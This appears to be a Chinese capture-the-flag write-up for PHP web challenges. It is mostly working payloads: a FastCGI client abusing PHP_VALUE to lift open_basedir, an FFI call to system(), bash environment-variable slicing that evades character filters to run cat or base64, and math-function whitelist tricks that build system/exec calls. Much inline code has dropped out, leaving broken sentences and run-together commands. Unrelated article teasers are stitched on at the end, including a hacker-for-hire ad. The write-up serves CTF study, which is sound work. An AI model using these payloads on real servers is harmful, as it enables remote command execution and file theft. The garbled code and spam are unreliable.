         || $this->_requests[ $requestId ]['state']==self::REQ_STATE_ERR
    ) {
        return $this->_requests[ $requestId ]['response'];
    }
    if ( $timeoutMs > 0 ) {
              // Reset timeout on socket for now
              $this->set_ms_timeout( $timeoutMs );
          } else {
              $timeoutMs=$this->_readWriteTimeout;
    }
    $startTime=microtime( true );
          do {
              $resp=$this->readPacket();
              if ( $resp['type']==self::STDOUT || $resp['type']==self::STDERR ) {
                  if ( $resp['type']==self::STDERR ) {
                      $this->_requests[ $resp['requestId'] ]['state']=self::REQ_STATE_ERR;
                  }
                  $this->_requests[ $resp['requestId'] ]['response'] .=$resp['content'];
              }
              if ( $resp['type']==self::END_REQUEST ) {
                  $this->_requests[ $resp['requestId'] ]['state']=self::REQ_STATE_OK;
                  if ( $resp['requestId']==$requestId ) {
                      break;
                  }
              }
              if ( microtime( true ) - $startTime >=( $timeoutMs * 1000 ) ) {
                  // Reset
                  $this->set_ms_timeout( $this->_readWriteTimeout );
                  throw new Exception( 'Timed out' );
              }
          } while ( $resp );
    if ( ! is_array( $resp ) ) {
              $info=stream_get_meta_data( $this->_sock );
              // We must reset timeout but it must be AFTER we get info
              $this->set_ms_timeout( $this->_readWriteTimeout );
              if ( $info['timed_out'] ) {
                  throw new TimedOutException( 'Read timed out' );
              }
              if ( $info['unread_bytes']==0
                   && $info['blocked']
                   && $info['eof'] ) {
                  throw new ForbiddenException( 'Not in white list. Check listen.allowed_clients.' );
              }
              throw new Exception( 'Read failed' );
          }
          // Reset timeout
          $this->set_ms_timeout( $this->_readWriteTimeout );
          switch ( ord( $resp['content']{4} ) ) {
        case self::CANT_MPX_CONN:
            throw new Exception( 'This app can't multiplex [CANT_MPX_CONN]' );
            break;
        case self::OVERLOADED:
            throw new Exception( 'New request rejected; too busy [OVERLOADED]' );
            break;
        case self::UNKNOWN_ROLE:
            throw new Exception( 'Role value not known [UNKNOWN_ROLE]' );
            break;
        case self::REQUEST_COMPLETE:
            return $this->_requests[ $requestId ]['response'];
    }
}
}
$client=new Client("unix:///tmp/php-cgi-74.sock", -1);
  $php_value="open_basedir=/";
$filepath='/tmp/readflag.php';
  $content='hpdoger';
echo $client->request(
      array(
          'GATEWAY_INTERFACE'=> 'FastCGI/1.0',
          'REQUEST_METHOD'=> 'POST',
          'SCRIPT_FILENAME'=> $filepath,
    'SERVER_SOFTWARE'=> 'php/fcgiclient',
    'REMOTE_ADDR'=> '127.0.0.1',
    'REMOTE_PORT'=> '9985',
    'SERVER_ADDR'=> '127.0.0.1',
    'SERVER_PORT'=> '80',
    'SERVER_NAME'=> 'mag-tured',
    'SERVER_PROTOCOL'=> 'HTTP/1.1',
    'CONTENT_TYPE'=> 'application/x-www-form-urlencoded',
    'CONTENT_LENGTH'=> strlen( $content ),
          'PHP_VALUE'=> $php_value,
),
$content
);

可以用下面代码判断php以什么运行:

<?phpechophp_sapi_name();exit();

下面这段代码可以建立sock连接

<?php
$fp=fsockopen("www.example.com", 80, $errno, $errstr, 30);
if(!$fp) {
echo"$errstr($errno)<br /> ";
} else{
$out="GET / HTTP/1.1\r ";
$out.="Host: www.example.com\r ";
$out.="Connection: Close\r \r ";
fwrite($fp, $out);
while(!feof($fp)) {
echofread($fp, 128);
}
fclose($fp);
}
?>

web76

web77

php7.4,基本上命令执行就告一段落了

提示说php7.4 立马想到

FFI,php7.4以上才有 https://www.php.net/manual/zh/ffi.cdef.phphttps://www.php.cn/php-weizijiaocheng-415807.html

payload:

$ffi=FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

web118~linux系统变量

有过滤,fuzz 了一下

B22EZR.md.png

发现等没被过滤。

以前有个类似的题,但有不一样,知识点 https://yanmie-art.github.io/2020/09/28/ctfshow%E6%9C%88%E9%A5%BC%E6%9D%AF/

环境变量一般是指用来指定操作系统运行环境的一些参数,比如临时文件夹的位置和系统文件夹位置等。

我们会经常使用一些Linux下操作指令,如ls,ps等。这些命令我们在任何一个目录下都能够执行。其实这些命令不过是一个个可执行程序,一般存放在/bin或/usr/bin目录下。你有没有思考过当我们执行这些指令的时候,操作系统是怎么找到他们的呢?

其实操作系统能够找到这些指令都要归功于,系统中的环境变量PATH。PATH环境变量中就记录了这些文件所在的路径,当我们使用以上命令的时候,PATH环境变量就把指令的路径提交给shell,Linux操作系统就是通过搜索PATH环境变量从而找到这些命令的。

可以使用命令来查看我们linux 环境变量的设置。

如图:

B5I4rn.md.png


s

root@ecs-sn3-medium-2-win-20191202181542:~# env
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
SSH_CONNECTION=1.68.96.182 25650 192.168.0.196 22
LESSCLOSE=/usr/bin/lesspipe %s %s
LANG=en_US.UTF-8
DISPLAY=localhost:10.0
HISTTIMEFORMAT=%F %T root 
XDG_SESSION_ID=11226
USER=root
PWD=/root
HOME=/root
SSH_CLIENT=1.68.96.182 25650 22
XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/desktop
SSH_TTY=/dev/pts/0
MAIL=/var/mail/root
TERM=xterm
SHELL=/bin/bash
SHLVL=1
LOGNAME=root
XDG_RUNTIME_DIR=/run/user/0
PATH=/usr/local/ *** in:/usr/local/bin:/usr/ *** in:/usr/bin:/ *** in:/bin:/usr/games:/usr/local/games:/snap/bin
HISTSIZE=1000
LESSOPEN=| /usr/bin/lesspipe %s
_=/usr/bin/env
  • 环境变量的格式

    • 环境变量名=内容1:内容2 //环境变量名一般大写,多个内容用":"隔开,且等号两边不能有空格

    • 查看环境变量名的内容,可以使用指令:“echo $环境变量名”

      example:echo $PATH

  • 环境变量的添加

    添加环境变量使用指令export,分为临时添加和永久添加

    • 临时添加

      临时添加只对当前的终端有效,如果当前终端关闭,则添加的环境变量接不存在了。

      比如我们本地编写一个hello.c的文档,然后用gcc编译成hello可执行文件。如果我们想在任何目录下都可以执行该文件,则只需要将其添加到环境变量中去。

      @export PATH=<hello文件所在的目录>:$PATH

      此处如果不加":$PATH",则PATH环境变量以前的内容就被覆盖掉了,加上这个表示我们仍引用它之前的内容,只不过再添加上我们的新内容罢了。

    • 永久添加

      在Linux系统中,有些文件在系统启动的时候或用户登录的时候会自动执行。例如/etc/profile,这是一个Shell脚本文件,任何用户登录的时候都会执行。

      所以,只要我们将环境变量添加到/etc/profile中,这样在任何时候环境变量都有效。

开始做题。上边题目小写字母和数字都被过滤了。但是我们还可以使用大写字母、$ 、冒号。

而linux 中环境变量恰好就是大写字母。比如说常见的 PATH 变量。

root@ecs-sn3-medium-2-win-20191202181542:~# echo $PATH
/usr/local/ *** in:/usr/local/bin:/usr/ *** in:/usr/bin:/ *** in:/bin:/usr/games:/usr/local/games:/snap/bin

我们还可以会得到 字符.

为什么呢?

是一串字符串,冲0 开始,取 1 位置也就是第2位字符开始取一位。

但是字母被过滤了就很难受。

我们还有一种 *** ,取 linux 变量代表字符串的长度,就可以构成我们的变量了。

比如说会得到 98 . 那么我们就可以使用命令输出的变量中的环境变量选择一个合适的 取其长度 再结合构造我们字符 getshell .

比如说我们想构造

原本可以通过构造,但是过滤了数字。

但是还可以这样.

是Bash的内部函数(并不是常量), 这个函数将返回一个伪随机[1]整数, 范围在0 - 32767之间. 它应该被用来产生密匙.

所以可以使用 ${#RANDOM} 表示 1 , 2 ,3,4,5 有几率。

还可以:

输出变量代表字符串的最后一位,但是我们的数字被过滤了,我们可以使用,应该是字符等于false等于 0 把,所以可以把最后一位给代表。

代表.

如果想要读取文件的话可以使用 linux 通配符。


https://blog.csdn.net/wit_732/article/details/106290562

payload:

${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}}?${PATH:${#RANDOM}:${#SHLVL}}.?
?
#其他师傅
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}}.?


web119~通配符构造 /bin/cat

环境界面和上题一样,经测试在上题的基础上多过滤了,那么这个系统变量肯定是不能用了。

cat 命令实质上是在那么我们利用其它命令构造他,

题目wp应该是与题目环境即容器名称有关。

${PWD:${#}:${#SHLVL}}?${PWD:${#}:${#SHLVL}}${HOME:${#HOSTNAME}:${#SHLVL}}.?

这里就各机器都不同。

但是我自己构造的在题目机器上又执行不了。

${PWD:${#}:${#SHLVL}}?${PWD:${#}:${#SHLVL}}${HOME:${#RANDOM}:${#SHLVL}}
?
${PWD:${#}:${#SHLVL}}?${PWD:${#}:${#SHLVL}}${HOME:${#HISTSIZE}:${#SHLVL}}
?

旨在构造利用通配符.

web120~通配符构造 /bin/cat

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|"|\`|\||\,/', $code)){ ? ?
if(strlen($code)>65){
echo'<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo'<div align="center">'.system($code).'</div>';
}
}
else{
echo'<div align="center">evil input</div>';
}
}
?
?>

又增加过滤了

自己构造的paylaod在这里不行,显示太长

${PWD::${#SHLVL}}?${PWD::${#SHLVL}}${PWD:${RANDOM:~A}}

官方payload:

${PWD::${#SHLVL}}?${PWD::${#SHLVL}}?${USER:~A}? .?

官方wp这里的代表的变量最后一位是,题目也没提示。。。

这里不是,要不然就可以

${PWD::${#SHLVL}}?${PWD::${#SHLVL}}${PWD:~A}

web121~通配符构造 /bin/rev

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|"|\`|\||\,/', $code)){ ? ?
if(strlen($code)>65){
echo'<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo'<div align="center">'.system($code).'</div>';
}
}
else{
echo'<div align="center">evil input</div>';
}
}
?
?>

有多过滤了几个linux变量.

首先这里 把给 ban 了,那我们就得找其他的 1 个长度的变量。

$? 最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)

$# 添加到Shell的参数个数

详情: https://blog.csdn.net/helloxiaozhe/article/details/80940066

、都可以代表 1

题目变量不知又是代表的啥。



那么这个就会输出 1 了。

payload:code=<A;${HOME::$?}?${HOME::$?}?${RANDOM::$?} .?
#可能存在成功的机会,不断刷新 /bin/base64

web124~数学函数

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content=$_GET['c'];
    if (strlen($content) >=80) {
        die("太长了不会算");
    }
    $blacklist=[' ', '	', '\r', '
','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist=['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
} 

这道题也是见过好多次了,但是没有深究。

首先接收一个, 长度还不能大于 80 。还不能有黑名单中的 空格、、、、引号、方括号。然后设置白名单,必须符合。也就是必须输入白名单中的函数。

做题思路:

首先 php 允许把函数名通过字符串方式传递给一个变量,然后通过变量动态调用函数。如就会执行 abc() 函数。

php 中函数名默认为字符串,可以进行异或。

*** 1

想办法构造再传参getflag,但是其实发现构造这个很难。。。因为、、、都不能用,同时必须是大写,很难直接构造。

  • 函数在任意进制之间转换数字。

    可以使用这个函数讲其他进制数转为36进制,而是36进制是包含所有数字和小写字母的。但终究无法构造大写字母。但又可以构造其他的小写字母函数,让构造的函数转换。

  • 函数把十六进制转换为十进制。

  • 函数把十进制数转换为十六进制数。

  • 函数讲 ASCII 字符转换为十六进制值,字符串可通过 pack() 或者 hex2bin() 函数转换回去。

  • 函数把十六进制值得字符转换为 ASCII 字符。

那么我们就可以想象一下,把先利用转换为 十六进制,在利用转换为十进制,那么反过来就可以把 一段数字转换为字符。

但是等不是白名单的函数,要从哪里来?

这时候就要看得作用了,因为上面的函数都是小写的,所以可以利用此函数将一个十进制数的数字转为十六进制的小写字符。

那么怎么才能直到这个数呢?我们可以先逆向将十六进制字符转换为十进制数,得到该数字,最终逆向构造即可。

echobase_convert('hex2bin',36,10);
# 得到 37907361743
?
echobase_convert(37907361743,10,36);
# 反过来就可以得到 hex2bin

在将反向构造出来:

echobin2hex('_GET');
# 得到 5f474554 将字符转换为十六进制
echohexdec('5f474554');
# 得到 1598506324 将十六进制转为十进制。
?
?
echodechex(1598506324);
echohex2bin('5f474554');
# 逆向最终得到 _GET

白名单中有、函数,但是没有、函数,但是我们可以使用函数构造任意小写函数。

串起来构造

echobase_convert(37907361743,10,36)dechex(1598506324)

可以用代替构造

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos})&abs=system&acos=ls
# 得到 _GETflag.php index.php

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos})&abs=system&acos=catflag.php
# 得到 flag

*** 2

可以构造传参,此是小写的,可以直接用转换。

狗早:

$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

分析:

base_convert(696468,10,36)=>"exec"
$pi(8768397090111664438,10,30)=>"getallheaders"
exec(getallheaders(){1})
//操作xx和yy,中间用逗号隔开,echo都能输出
echoxx,yy
  • — Fetch all HTTP request headers

D91pVK.md.png

经测试,这里列目录的时候只能显示一个文件名,故可以base64编码后输出。

1: ls|base64

*** 3

直接

//exec('hex2bin(dechex(109270211257898))')=> exec('cat f*')
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
//system('cat'.dechex(16)^asinh^pi)=> system('cat *')
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))

*** 4

前面都是利用白名单的数学函数将数字转成字符串,其实也可以异或构造这是fuzz脚本

<?php
$payload=['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', ?'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i=0;$i<9; $i++){
for($j=0;$j<=9;$j++){
$exp=$payload[$k] ^$i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo"<br />";
}
}
}
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag

https://www.cnblogs.com/wrnan/p/13765680.html

https://blog.csdn.net/miuzzx

相关文章

直链淀粉和支链淀粉的区别

直链淀粉属于天然高分子化合物,通常存在于植物的根或者种子等地方,在食品工业以及环境保护等方面有不错的应用价值,除此之外还有支链淀粉,那么直链淀粉和支链淀粉的区别是什么呢?直链淀粉和支链淀粉的区别包含了...

微信同步接收软件是真的吗(监控一个人的聊天需要具备什么)

微信关联接受手机软件是真是假(监管一个人的闲聊必须具有哪些) QQ就是指很多人自小就应用大中型社交软件,我也不知道为何。在我们忽然闲聊时,大家就占有了QQ的部位。 近年来,很多人逐渐应用QQ手机软...

微软苹果小米押宝PC背后的未来逻辑

这2年来,天地万物挪动的时尚潮流变成了业界的流行见解。许多专业人士表明,将来的企业办公、游戏娱乐、学习培训等一站式的客户情景都将摆脱PC,由手机上实际操作进行。 殊不知,这2年来,以iOS和Andr...

在线24小时接单的黑客,免费接单黑客QQ

SSDT HOOK已经是很老的技术了,但对新手来说还是有一些嚼头的。根据常规的做法,我们应该挂钩ZwTerminateProcess函数,不过这个函数仅有两个参数,其中一个是进程句柄,它指定了需要被结...

老余杭面馆加盟要多少钱?一起来看看

老余杭面馆加盟要多少钱?一起来看看

不知道你对老余杭面馆加盟项目标相识有几多呢?是否想要加盟到个中来呢?假如是的话,那么你就不要再踌躇了,此刻就和我一起来看看老余杭面馆加盟项目标成长吧!老余杭面馆加盟项目在市场上创立多年,品牌形象早就已...

疫情持续蔓延 秘鲁将革命尚未成功为小微企业制定新的援助措

  中新网2月2日电 据秘鲁《公言报》报道,秘鲁新冠疫情持续蔓延,培养护理专业人员的机构秘鲁护士学院报告显示,疫情期间,约15600名护士和护理技术人员确诊。另一方面,生产部和经济财政部将确定经济援助...